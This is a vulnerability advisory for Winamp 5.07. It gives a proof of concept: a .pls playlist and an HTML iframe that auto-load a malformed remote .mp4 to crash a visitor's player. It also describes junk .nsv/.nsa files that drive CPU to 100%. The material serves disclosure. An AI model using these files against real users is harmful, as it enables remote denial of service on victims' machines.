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Winamp is a popular media player for Microsoft Windows .
Multiple vulnerabilities allow a remote attacker to crash the victim's Winamp and possibly run arbitrary code. |
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Credit:
The information has been provided by Alan M aka b0f.
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Vulnerable Systems:
* Winamp 5.07
Vulnerability Processing .MP4 and M4A Files:
There is a vulnerability in WinAMP's handling of .mp4 and .m4a files. When exploited this vulnerability remotely crash the victim's Winamp. The vulnerability lies in the .mp4 tagging system. If you use WinAMP's built in feature to edit the tags on .mp4 or .m4a
files and insert any data in there the next time the file is opened it will instantly crash Winamp.
Proof of Concept:
Create a .pls file containing the data:
[playlist]
numberofentries=5
File1=http://b0f.pwp.blueyonder.co.uk/a.mp4
Title1=
Length5=-1
Version=2
Make an HTML page containing an IFRAME linking to the .pls like:
< html>
< iframe src="http://b0f.pwp.blueyonder.co.uk/exp2.pls">
If the victim clicks a link to a page containing this code, like: http://b0f.pwp.blueyonder.co.uk/wexp3.htm
The playlist file will open automatically and try to play the malicious file. This will crash the victim's Winamp. This could also be done with .m3u instead of .pls
Resource Consumption With .nsv and .nsa Files:
This one is simple. if you create for example a 1mb file (probably smaller will do) filled with junk, and name it with either .nsv or .nsa file extension. Once opened in Winamp, the file will cause the CPU usage to spike to 100%. The bigger the size of the file the longer it will take the system to recover.
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